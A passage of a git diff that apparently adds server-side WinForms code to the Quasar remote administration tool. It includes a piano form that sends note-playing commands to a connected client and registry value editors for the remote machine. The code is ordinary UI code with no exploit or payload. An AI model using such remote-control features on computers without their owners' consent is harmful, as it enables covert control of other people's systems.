5f8hIaj/AAAG/wICGf8AAE//CQqF/yYmq/9GRr3/R0i+/0lJvf9DQrb/ISGh/wcIfP8AAEf/AgIT/wAA + Df80M7P/2dXa/z6N2P8igNr8Mori/zqK120AAAAAP3+/BAAAAAAAAP8BAAAAAAAAAAA7pOzCM6r2/yml + 7/1Js+//6ejs/1RSzf8EB4//ODW+/4d/5v/JvvL/4t/t/46Q1f9CRMn/SUrJ/5STzf/Sytr/u67j/3lw + 2f8vK63/AwWK/2Vgx//Y1tn/M4zc/yWF3fwwjeT/OIvbswAAAAAAAP8BAAAAAAD//wEAAAAAVbTpGDen + 7vAwrPP/MbHz/imx9v+V1vP/9+zz/9zS+v/n9P//4fz8/6ji8v9hk+r/FxPW/wwM0/8LC9H/GhnM/1uB + 0v+lzuP/2e3w/9nf8P/PweT/5tnb/3at3P8giuH/K4vf/i6L4P83jdvnVZnuDwAAAAAA//8Bf///AgAA + AABDqug5NK7w/TG09f8xuff+Mr36/y+8+f9u1f3/ld/2/8WHh/92d5//IL7//yVb+P8dE/T/IiPu/yIi + 5v8eFNn/Hlfg/xuk9f+EY4r/uXqF/4K+4/9Xp+P/JZHk/yyU5f8skOL+Lo/h/zaQ3/k/kNwsAAAAAAB/ + /wJVqv8DAAAAADeq6E4ztvf/Mbz3/jPB+/80xPz/OMr//yi69v+JdZD/63dn/+htZP9tean/P3j//1ZE + //9FQP//QDj9/0Ip8P81dO7/gXma/+tpXv/ibGH/eGiS/yGU6P8ynej/L5jm/y6U5P4ukuL/M5De/ziJ + 1j8AAAAAVVWqA1Wq/wMAAAAAO67sUja/+/80xPv+Nsn+/znN//8vzP//ibPT///i3P/t+f7/7/T3/+LB + 0P9Zh+L/fYz//2ZP/v9ONP//TmD//2qb2v/qx8n/3+To/9vf4f/rxb//c5fG/y6g7P81oOn/MZrm/jGW + 5P8ykeD/M4nXQQAAAAB/f/8CVaqqAwAAAABNuetCQ8f7/z3N//8/0f/+PNX//0/O+P/v8vb/6uvq/2Fe + Yf9UU1n/4dze/7zL8f9Htvr/V6T//1Cf//9Pvfr/1N/w/9XR0v9QTlL/Ylxd/9zU0P/Rz9f/RqPk/z6r + 7v89pOn+O5/o/zeW4v05i9g1AAAAAH9//wIA//8BAAAAACU3h6Jjzfz/Udj//VDZ/v9C2f//et76//// + //+sqqn/OTQz/zw2Nv+gmJn/+vv//1zO+P9c4///WuD//3HV+v//////lI2N/zYsK/87MCz/qp+d//ft + 6/9psuP/S7b0/0+w7f9Oruz9RJng/xoldJwAAAAAAAD/AQAAAAAUGIFJEBGT/3i67v5x5P//Xt3+/1fg + /v965P3//////+Ph4P+BeHT/eGpm/9zU0f/s/v//Z939/2bf//9j3f//ct3+//n////Uysf/YE5I/2VR + Sv/az8v/8erp/27B7/9dwff/Yrnw/23A8/5Oi87/DQ5x/xsed0IAAAAAAAAAABYZnp4KB7r/ZYvm+5r0 + //9x4P7/dOr//27s/v/R9f7///////Lz9f/s8fL///78/6zp+v9g5f//auX//2nj//9g4P//vur5//// + /P/j4+P/5eXm///59P+62uv/Yc7+/2rG+P9zvvH/h8/3/0VowvsLB4z/FxyClwAAAAAzM5kFFxm30RgT + 0v89Teb9pen//4/u//+S2Oz/acjl/4Py///r5t7///Dk///r2f/R1Mz/Z+X9/2Xo//9o5v//aOX//2Lj + //9s3Pv/3s3C///h0f//28r/1sXD/2XS//9krd3/eLPh/4TM+P+HwvH/KjXG/RgUsv8XGpHKVVVVAyQk + ow4cHMnpKCbk/0M77f6Gufn/ovn//8PY0P+8fXP/Sc/4/4n3/v/v0aX/372R/23k9P9g7P//Zen+/2Xp + //9j5///Y+T+/1nj//9t0+v/6JVo/9qUdf9bzfn/Qavs/9FqWv+dts//jdn//2uQ5v80Ktn+JiPQ/xwc + pOIZGWYKPz+/ECUk1+w3Mu7/Y1Xz/niF+v+V5P7/rvn//+u9nf+gZ2v/Uoy6/2yhyP9v4PL/ZfH//2Tr + //9h7P//Yen//2Do//9d5v//W+H+/1Pk//9r0er/XpDA/0dmpf+wSkv/0puO/4XX//9/vfH/aGfr/1dH + 5/4zLd3/IyCz5hkZfwpmZuUKMjDi40E68/9oXvX+e2z5/3Ka/P+p9f//vfr//+LVvv/lo4X/zKWS/3jm + +P9u8P//Ze3//2Ds//9c6///Wej//1fm//9W4/7/VuH//2zY9P/NkHz/2IBp/7+xrv+M2f7/idH4/2h9 + 7/90YPH/XFDq/T004v8sJ8DbHx9/CP///wQ+O+jNPTf2/1xS9PtqX/j9V0r2/neW9/7L///+uP///a7/ + //2c+///gvL//3Hv//9o7v//X+3//1rq//9W6P//Vef//1bk//9a4f//ZeD//3Xk//985P/9i+b//avk + /P5mfu7+Vkbv/mRX8P1SR+n7PjTj/zItwcZ/fwACAAAAAEBA5649Nvz/VUb8/FVH+/9KPvP/Nyvp/3F/ + 7v/K8v//xf7//6Ty/f6K8P/7du7//mrt//5i7P//W+v//1fo//9X5v//W+T//mPi//1u4P38gd///qbs + //+23f7/Z3Do/zcr4v9IO+z/UEHz/00/8/w9M+f/NS6+pgAAAAAAAAAAbGrrhGBT7/9uWvDCbFvwzFxO + 6uBJPt/oMyPW5Ghm4cjQ9P3Eyfr//rz///+a9v//gu///3Dr//5m6f78Yef+/GXk//5y5v//h+r//6f1 + //+37P39xub8wmxm4co2KdLlRTjX6E8/3+BcS+TMcl7uxF1P5f9QQ8l8AAAAAAAAAADYzP8U07j/HQAA + AAD///8E////CsSw6w2/v+kMf3//BP///wLd9/9E0vj/oMn0/eO89P/9s/n//6z7//+p+f//rPP//7Tv + /vzA7/7gzPD/m97y/j8AAAAAmZn/BdSq/wywnOsN/8z/Cv///wMAAAAAxbT/H7ib/xIAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA////DOb1/zPe+f9X3Pr/Z978 + /2bh+f9V5PT/Mf///woAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAA////AX9//wIAAP8BAAD/AQAA/wEAAP8BAAD/AQAA/wEAAAAA////A6r//wMAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAKr//wP///8DAAAAAAAA/wEAAP8BAAD/AQAA/wEAAP8BAAD/AX9/ + /wL///8BAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD/Af// + /wH///8Cv7//BL///wS///8E////A////wL///8BAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAA//Af///H4///OBz//kACf/0AAL/6AABf9AAAL+gAABfQAAAL0AAAC6AA + AAWgAAAFYAAABUAAAAJAAAACQAAAAkAAAAJAAAACQAAAAoAAAAGAAAABAAAAAAAAAAAAAAAAAAAAAAAA + AACAAAABgAAAAZAAAgn/8A//gE/yAf/gD/8= + + + \ No newline at end of file diff --git a/Quasar.Server/Forms/FrmPiano.cs b/Quasar.Server/Forms/FrmPiano.cs new file mode 100644 index 0000000..25f75d4 --- /dev/null +++ b/Quasar.Server/Forms/FrmPiano.cs @@ -0,0 +1,194 @@ +using Quasar.Common.Messages; +using System; +using System.Diagnostics; +using System.Drawing; +using System.Drawing.Drawing2D; +using System.Windows.Forms; + +namespace Quasar.Server.Forms +{ + // 2-octave piano (C4–B5). Mouse-click or keyboard to play. + // Keyboard layout (standard virtual piano): + // White (lower): Z X C V B N M Q W E R T Y U + // Black (lower): S D G H J 2 3 5 6 7 + public class FrmPiano : Form + { + private readonly Action _send; + + // ── Note data ──────────────────────────────────────────────────────── + private static readonly string[] _names = { "C4","C#4","D4","D#4","E4","F4","F#4","G4","G#4","A4","A#4","B4","C5","C#5","D5","D#5","E5","F5","F#5","G5","G#5","A5","A#5","B5" }; + private static readonly int[] _freqs = { 262, 277, 294, 311, 330, 349, 370, 392, 415, 440, 466, 494, 523, 554, 587, 622, 659, 698, 740, 784, 831, 880, 932, 988 }; + private static readonly bool[] _black = { false,true,false,true,false,false,true,false,true,false,true,false, false,true,false,true,false,false,true,false,true,false,true,false }; + + // Computer-key mapping (index aligns with _names) + private static readonly Keys[] _keyMap = + { + Keys.Z, Keys.S, Keys.X, Keys.D, Keys.C, Keys.V, Keys.G, Keys.B, Keys.H, Keys.N, Keys.J, Keys.M, + Keys.Q, Keys.D2, Keys.W, Keys.D3, Keys.E, Keys.R, Keys.D5, Keys.T, Keys.D6, Keys.Y, Keys.D7, Keys.U + }; + + // ── Layout constants ───────────────────────────────────────────────── + private const int WW = 38, WH = 150, BW = 22, BH = 92, PAD = 10, TOP = 32; + + private readonly Rectangle[] _rects = new Rectangle[24]; + private int _pressedIdx = -1; + private readonly Stopwatch _slideThrottle = Stopwatch.StartNew(); + + // Cached brushes + private static readonly Color _pressedWhite = Color.FromArgb(100, 180, 255); + private static readonly Color _pressedBlack = Color.FromArgb(60, 120, 220); + private static readonly Color _bgColor = Color.FromArgb(28, 28, 28); + + public FrmPiano(Action send) + { + _send = send; + + Text = "Piano"; + FormBorderStyle = FormBorderStyle.FixedSingle; + MaximizeBox = false; + StartPosition = FormStartPosition.CenterScreen; + KeyPreview = true; + DoubleBuffered = true; + ClientSize = new Size(PAD * 2 + 14 * WW, TOP + WH + 20); + BackColor = _bgColor; + + BuildRects(); + + Paint += OnPaint; + MouseDown += OnMouseDown; + MouseUp += (s, a) => { _pressedIdx = -1; Invalidate(); }; + MouseMove += OnMouseMove; + KeyDown += OnKeyDown; + KeyUp += (s, a) => { _pressedIdx = -1; Invalidate(); }; + } + + // ── Geometry ───────────────────────────────────────────────────────── + + private void BuildRects() + { + // White-key index for each note (black keys get -1) + int[] whiteIdx = new int[24]; + int w = 0; + for (int i = 0; i < 24; i++) + whiteIdx[i] = _black[i] ? -1 : w++; + + // White key rects + for (int i = 0; i < 24; i++) + if (!_black[i]) + _rects[i] = new Rectangle(PAD + whiteIdx[i] * WW, TOP, WW, WH); + + // Black key rects: centered on the gap between the two adjacent white keys + // Left white-key note index for each black note + int[] leftWhite = { 0, 2, 5, 7, 9, 12, 14, 17, 19, 21 }; + int[] blackNote = { 1, 3, 6, 8, 10, 13, 15, 18, 20, 22 }; + for (int b = 0; b < blackNote.Length; b++) + { + int lw = whiteIdx[leftWhite[b]]; + _rects[blackNote[b]] = new Rectangle(PAD + (lw + 1) * WW - BW / 2, TOP, BW, BH); + } + } + + // ── Painting ───────────────────────────────────────────────────────── + + private void OnPaint(object sender, PaintEventArgs e) + { + Graphics g = e.Graphics; + g.SmoothingMode = SmoothingMode.AntiAlias; + + // Header label + using (var f = new Font("Segoe UI", 9.5f, FontStyle.Bold)) + g.DrawString("Piano · Z X C V B N M | Q W E R T Y U", f, Brushes.Silver, PAD, 6); + + // White keys first + for (int i = 0; i < 24; i++) + { + if (_black[i]) continue; + bool pressed = _pressedIdx == i; + var r = _rects[i]; + + using (var br = new SolidBrush(pressed ? _pressedWhite : Color.White)) + g.FillRectangle(br, r); + + g.DrawRectangle(Pens.Black, r); + + // Key label + using (var f = new Font("Segoe UI", 6.5f)) + { + char ch = KeyChar(i); + g.DrawString(ch.ToString(), f, Brushes.DimGray, + r.X + (WW - 8) / 2, r.Bottom - 17); + } + } + + // Black keys on top + for (int i = 0; i < 24; i++) + { + if (!_black[i]) continue; + bool pressed = _pressedIdx == i; + var r = _rects[i]; + + using (var br = new SolidBrush(pressed ? _pressedBlack : Color.FromArgb(28, 28, 28))) + g.FillRectangle(br, r); + + // Subtle highlight gradient on un-pressed black key + if (!pressed) + { + using (var lgb = new LinearGradientBrush(r, Color.FromArgb(80, 80, 80), Color.FromArgb(28, 28, 28), LinearGradientMode.Horizontal)) + g.FillRectangle(lgb, new Rectangle(r.X, r.Y, 5, r.Height)); + } + + g.DrawRectangle(Pens.Black, r); + + // Key label + using (var f = new Font("Segoe UI", 5.5f)) + { + char ch = KeyChar(i); + g.DrawString(ch.ToString(), f, Brushes.DimGray, + r.X + 4, r.Bottom - 14); + } + } + } + + private char KeyChar(int idx) + { + var k = _keyMap[idx]; + if (k >= Keys.D0 && k <= Keys.D9) return (char)('0' + (k - Keys.D0)); + return (char)k; // letter keys: Keys.A = 65 = 'A' + } + + // ── Input ───────────────────────────────────────────────────────────── + + private void OnMouseDown(object sender, MouseEventArgs e) + { + // Black keys sit on top — test them first + for (int i = 0; i < 24; i++) + if (_black[i] && _rects[i].Contains(e.Location)) { Press(i); return; } + for (int i = 0; i < 24; i++) + if (!_black[i] && _rects[i].Contains(e.Location)) { Press(i); return; } + } + + private void OnMouseMove(object sender, MouseEventArgs e) + { + if (e.Button == MouseButtons.None) return; + // Throttle slide to avoid flooding the connection + if (_slideThrottle.ElapsedMilliseconds < 80) return; + for (int i = 0; i < 24; i++) + if (_black[i] && _rects[i].Contains(e.Location)) { if (_pressedIdx != i) { _slideThrottle.Restart(); Press(i); } return; } + for (int i = 0; i < 24; i++) + if (!_black[i] && _rects[i].Contains(e.Location)) { if (_pressedIdx != i) { _slideThrottle.Restart(); Press(i); } return; } + } + + private void OnKeyDown(object sender, KeyEventArgs e) + { + for (int i = 0; i < _keyMap.Length; i++) + if (_keyMap[i] == e.KeyCode) { if (_pressedIdx != i) Press(i); return; } + } + + private void Press(int idx) + { + _pressedIdx = idx; + Invalidate(); + _send(new DoPlayNote { Frequency = _freqs[idx], DurationMs = 1000 }); + } + } +} diff --git a/Quasar.Server/Forms/FrmRegValueEditBinary.Designer.cs b/Quasar.Server/Forms/FrmRegValueEditBinary.Designer.cs new file mode 100644 index 0000000..ce14d43 --- /dev/null +++ b/Quasar.Server/Forms/FrmRegValueEditBinary.Designer.cs @@ -0,0 +1,143 @@ +using Quasar.Server.Controls.HexEditor; + +namespace Quasar.Server.Forms +{ + partial class FrmRegValueEditBinary + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + this.valueNameTxtBox = new System.Windows.Forms.TextBox(); + this.label1 = new System.Windows.Forms.Label(); + this.label2 = new System.Windows.Forms.Label(); + this.cancelButton = new System.Windows.Forms.Button(); + this.okButton = new System.Windows.Forms.Button(); + this.hexEditor = new HexEditor(); + this.SuspendLayout(); + // + // valueNameTxtBox + // + this.valueNameTxtBox.Anchor = System.Windows.Forms.AnchorStyles.Left; + this.valueNameTxtBox.Location = new System.Drawing.Point(12, 31); + this.valueNameTxtBox.Name = "valueNameTxtBox"; + this.valueNameTxtBox.ReadOnly = true; + this.valueNameTxtBox.Size = new System.Drawing.Size(341, 20); + this.valueNameTxtBox.TabIndex = 3; + // + // label1 + // + this.label1.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.label1.AutoSize = true; + this.label1.Location = new System.Drawing.Point(9, 15); + this.label1.Name = "label1"; + this.label1.Size = new System.Drawing.Size(66, 13); + this.label1.Text = "Value name:"; + this.label1.TextAlign = System.Drawing.ContentAlignment.MiddleLeft; + // + // label2 + // + this.label2.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.label2.AutoSize = true; + this.label2.Location = new System.Drawing.Point(9, 54); + this.label2.Name = "label2"; + this.label2.Size = new System.Drawing.Size(61, 13); + this.label2.Text = "Value data:"; + this.label2.TextAlign = System.Drawing.ContentAlignment.MiddleLeft; + // + // cancelButton + // + this.cancelButton.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.cancelButton.DialogResult = System.Windows.Forms.DialogResult.Cancel; + this.cancelButton.Location = new System.Drawing.Point(278, 273); + this.cancelButton.Name = "cancelButton"; + this.cancelButton.Size = new System.Drawing.Size(75, 23); + this.cancelButton.TabIndex = 2; + this.cancelButton.Text = "Cancel"; + this.cancelButton.UseVisualStyleBackColor = true; + // + // okButton + // + this.okButton.DialogResult = System.Windows.Forms.DialogResult.OK; + this.okButton.Location = new System.Drawing.Point(197, 273); + this.okButton.Name = "okButton"; + this.okButton.Size = new System.Drawing.Size(75, 23); + this.okButton.TabIndex = 1; + this.okButton.Text = "OK"; + this.okButton.UseVisualStyleBackColor = true; + this.okButton.Click += new System.EventHandler(this.okButton_Click); + // + // hexEditor + // + this.hexEditor.BackColor = System.Drawing.Color.White; + this.hexEditor.BorderColor = System.Drawing.Color.Empty; + this.hexEditor.Cursor = System.Windows.Forms.Cursors.IBeam; + this.hexEditor.EntityMargin = 8; + this.hexEditor.Font = new System.Drawing.Font("Consolas", 9.75F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.hexEditor.Location = new System.Drawing.Point(12, 71); + this.hexEditor.Margin = new System.Windows.Forms.Padding(0, 2, 3, 3); + this.hexEditor.Name = "hexEditor"; + this.hexEditor.Size = new System.Drawing.Size(341, 196); + this.hexEditor.TabIndex = 0; + this.hexEditor.VScrollBarVisisble = true; + // + // FrmRegValueEditBinary + // + this.AcceptButton = this.okButton; + this.AutoScaleDimensions = new System.Drawing.SizeF(96F, 96F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Dpi; + this.CancelButton = this.cancelButton; + this.ClientSize = new System.Drawing.Size(365, 304); + this.Controls.Add(this.cancelButton); + this.Controls.Add(this.hexEditor); + this.Controls.Add(this.okButton); + this.Controls.Add(this.label2); + this.Controls.Add(this.valueNameTxtBox); + this.Controls.Add(this.label1); + this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedDialog; + this.MaximizeBox = false; + this.MinimizeBox = false; + this.Name = "FrmRegValueEditBinary"; + this.ShowIcon = false; + this.Text = "Edit Binary"; + this.ResumeLayout(false); + this.PerformLayout(); + + } + + #endregion + + private System.Windows.Forms.TextBox valueNameTxtBox; + private System.Windows.Forms.Label label1; + private System.Windows.Forms.Label label2; + private System.Windows.Forms.Button cancelButton; + private System.Windows.Forms.Button okButton; + private Controls.HexEditor.HexEditor hexEditor; + } +} \ No newline at end of file diff --git a/Quasar.Server/Forms/FrmRegValueEditBinary.cs b/Quasar.Server/Forms/FrmRegValueEditBinary.cs new file mode 100644 index 0000000..72af620 --- /dev/null +++ b/Quasar.Server/Forms/FrmRegValueEditBinary.cs @@ -0,0 +1,50 @@ +using System; +using System.Windows.Forms; +using Quasar.Common.Models; +using Quasar.Server.Registry; + +namespace Quasar.Server.Forms +{ + public partial class FrmRegValueEditBinary : Form + { + private readonly RegValueData _value; + + private const string INVALID_BINARY_ERROR = "The binary value was invalid and could not be converted correctly."; + + public FrmRegValueEditBinary(RegValueData value) + { + _value = value; + + InitializeComponent(); + + this.valueNameTxtBox.Text = RegValueHelper.GetName(value.Name); + hexEditor.HexTable = value.Data; + } + + private void okButton_Click(object sender, EventArgs e) + { + byte[] bytes = hexEditor.HexTable; + if (bytes != null) + { + try + { + _value.Data = bytes; + this.DialogResult = DialogResult.OK; + this.Tag = _value; + } + catch + { + ShowWarning(INVALID_BINARY_ERROR, "Warning"); + this.DialogResult = DialogResult.None; + } + } + + this.Close(); + } + + private void ShowWarning(string msg, string caption) + { + MessageBox.Show(msg, caption, MessageBoxButtons.OK, MessageBoxIcon.Warning); + } + } +} diff --git a/Quasar.Server/Forms/FrmRegValueEditBinary.resx b/Quasar.Server/Forms/FrmRegValueEditBinary.resx new file mode 100644 index 0000000..1af7de1 --- /dev/null +++ b/Quasar.Server/Forms/FrmRegValueEditBinary.resx @@ -0,0 +1,120 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + \ No newline at end of file diff --git a/Quasar.Server/Forms/FrmRegValueEditMultiString.Designer.cs b/Quasar.Server/Forms/FrmRegValueEditMultiString.Designer.cs new file mode 100644 index 0000000..0f38168 --- /dev/null +++ b/Quasar.Server/Forms/FrmRegValueEditMultiString.Designer.cs @@ -0,0 +1,140 @@ +namespace Quasar.Server.Forms +{ + partial class FrmRegValueEditMultiString + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + this.valueNameTxtBox = new System.Windows.Forms.TextBox(); + this.label1 = new System.Windows.Forms.Label(); + this.label2 = new System.Windows.Forms.Label(); + this.cancelButton = new System.Windows.Forms.Button(); + this.okButton = new System.Windows.Forms.Button(); + this.valueDataTxtBox = new System.Windows.Forms.TextBox(); + this.SuspendLayout(); + // + // valueNameTxtBox + // + this.valueNameTxtBox.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.valueNameTxtBox.Location = new System.Drawing.Point(15, 25); + this.valueNameTxtBox.Name = "valueNameTxtBox"; + this.valueNameTxtBox.ReadOnly = true; + this.valueNameTxtBox.Size = new System.Drawing.Size(346, 20); + this.valueNameTxtBox.TabIndex = 3; + // + // label1 + // + this.label1.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.label1.AutoSize = true; + this.label1.Location = new System.Drawing.Point(12, 9); + this.label1.Name = "label1"; + this.label1.Size = new System.Drawing.Size(66, 13); + this.label1.Text = "Value name:"; + this.label1.TextAlign = System.Drawing.ContentAlignment.MiddleLeft; + // + // label2 + // + this.label2.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.label2.AutoSize = true; + this.label2.Location = new System.Drawing.Point(12, 53); + this.label2.Name = "label2"; + this.label2.Size = new System.Drawing.Size(61, 13); + this.label2.Text = "Value data:"; + this.label2.TextAlign = System.Drawing.ContentAlignment.MiddleLeft; + // + // cancelButton + // + this.cancelButton.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.cancelButton.DialogResult = System.Windows.Forms.DialogResult.Cancel; + this.cancelButton.Location = new System.Drawing.Point(286, 330); + this.cancelButton.Name = "cancelButton"; + this.cancelButton.Size = new System.Drawing.Size(75, 23); + this.cancelButton.TabIndex = 2; + this.cancelButton.Text = "Cancel"; + this.cancelButton.UseVisualStyleBackColor = true; + // + // okButton + // + this.okButton.DialogResult = System.Windows.Forms.DialogResult.OK; + this.okButton.Location = new System.Drawing.Point(205, 330); + this.okButton.Name = "okButton"; + this.okButton.Size = new System.Drawing.Size(75, 23); + this.okButton.TabIndex = 1; + this.okButton.Text = "OK"; + this.okButton.UseVisualStyleBackColor = true; + this.okButton.Click += new System.EventHandler(this.okButton_Click); + // + // valueDataTxtBox + // + this.valueDataTxtBox.AcceptsReturn = true; + this.valueDataTxtBox.Location = new System.Drawing.Point(15, 72); + this.valueDataTxtBox.Multiline = true; + this.valueDataTxtBox.Name = "valueDataTxtBox"; + this.valueDataTxtBox.ScrollBars = System.Windows.Forms.ScrollBars.Both; + this.valueDataTxtBox.Size = new System.Drawing.Size(346, 252); + this.valueDataTxtBox.TabIndex = 0; + this.valueDataTxtBox.WordWrap = false; + // + // FrmRegValueEditMultiString + // + this.AcceptButton = this.okButton; + this.AutoScaleDimensions = new System.Drawing.SizeF(96F, 96F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Dpi; + this.CancelButton = this.cancelButton; + this.ClientSize = new System.Drawing.Size(373, 365); + this.Controls.Add(this.cancelButton); + this.Controls.Add(this.valueDataTxtBox); + this.Controls.Add(this.okButton); + this.Controls.Add(this.label2); + this.Controls.Add(this.valueNameTxtBox); + this.Controls.Add(this.label1); + this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedDialog; + this.MaximizeBox = false; + this.MinimizeBox = false; + this.Name = "FrmRegValueEditMultiString"; + this.ShowIcon = false; + this.Text = "Edit Multi-String"; + this.ResumeLayout(false); + this.PerformLayout(); + + } + + #endregion + + private System.Windows.Forms.TextBox valueNameTxtBox; + private System.Windows.Forms.Label label1; + private System.Windows.Forms.Label label2; + private System.Windows.Forms.Button cancelButton; + private System.Windows.Forms.Button okButton; + private System.Windows.Forms.TextBox valueDataTxtBox; + } +} \ No newline at end of file diff --git a/Quasar.Server/Forms/FrmRegValueEditMultiString.cs b/Quasar.Server/Forms/FrmRegValueEditMultiString.cs new file mode 100644 index 0000000..7d68517 --- /dev/null +++ b/Quasar.Server/Forms/FrmRegValueEditMultiString.cs @@ -0,0 +1,30 @@ +using System; +using System.Windows.Forms; +using Quasar.Common.Models; +using Quasar.Common.Utilities; + +namespace Quasar.Server.Forms +{ + public partial class FrmRegValueEditMultiString : Form + { + private readonly RegValueData _value; + + public FrmRegValueEditMultiString(RegValueData value) + { + _value = value; + + InitializeComponent(); + + this.valueNameTxtBox.Text = value.Name; + this.valueDataTxtBox.Text = string.Join("\r\n", ByteConverter.ToStringArray(value.Data)); + } + + private void okButton_Click(object sender, EventArgs e) + { + _value.Data = ByteConverter.GetBytes(valueDataTxtBox.Text.Split(new[] {"\r\n"}, StringSplitOptions.RemoveEmptyEntries)); + this.Tag = _value; + this.DialogResult = DialogResult.OK; + this.Close(); + } + } +} diff --git a/Quasar.Server/Forms/FrmRegValueEditMultiString.resx b/Quasar.Server/Forms/FrmRegValueEditMultiString.resx new file mode 100644 index 0000000..1af7de1 --- /dev/null +++ b/Quasar.Server/Forms/FrmRegValueEditMultiString.resx @@ -0,0 +1,120 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + \ No newline at end of file diff --git a/Quasar.Server/Forms/FrmRegValueEditString.Designer.cs b/Quasar.Server/Forms/FrmRegValueEditString.Designer.cs new file mode 100644 index 0000000..4fdef39 --- /dev/null +++ b/Quasar.Server/Forms/FrmRegValueEditString.Designer.cs @@ -0,0 +1,143 @@ +namespace Quasar.Server.Forms +{ + partial class FrmRegValueEditString + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(FrmRegValueEditString)); + this.label1 = new System.Windows.Forms.Label(); + this.valueNameTxtBox = new System.Windows.Forms.TextBox(); + this.label2 = new System.Windows.Forms.Label(); + this.valueDataTxtBox = new System.Windows.Forms.TextBox(); + this.cancelButton = new System.Windows.Forms.Button(); + this.okButton = new System.Windows.Forms.Button(); + this.SuspendLayout(); + // + // label1 + // + this.label1.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.label1.AutoSize = true; + this.label1.Location = new System.Drawing.Point(9, 12); + this.label1.Name = "label1"; + this.label1.Size = new System.Drawing.Size(66, 13); + this.label1.Text = "Value name:"; + this.label1.TextAlign = System.Drawing.ContentAlignment.MiddleLeft; + // + // valueNameTxtBox + // + this.valueNameTxtBox.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.valueNameTxtBox.Location = new System.Drawing.Point(12, 28); + this.valueNameTxtBox.Name = "valueNameTxtBox"; + this.valueNameTxtBox.ReadOnly = true; + this.valueNameTxtBox.Size = new System.Drawing.Size(343, 20); + this.valueNameTxtBox.TabIndex = 3; + // + // label2 + // + this.label2.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | 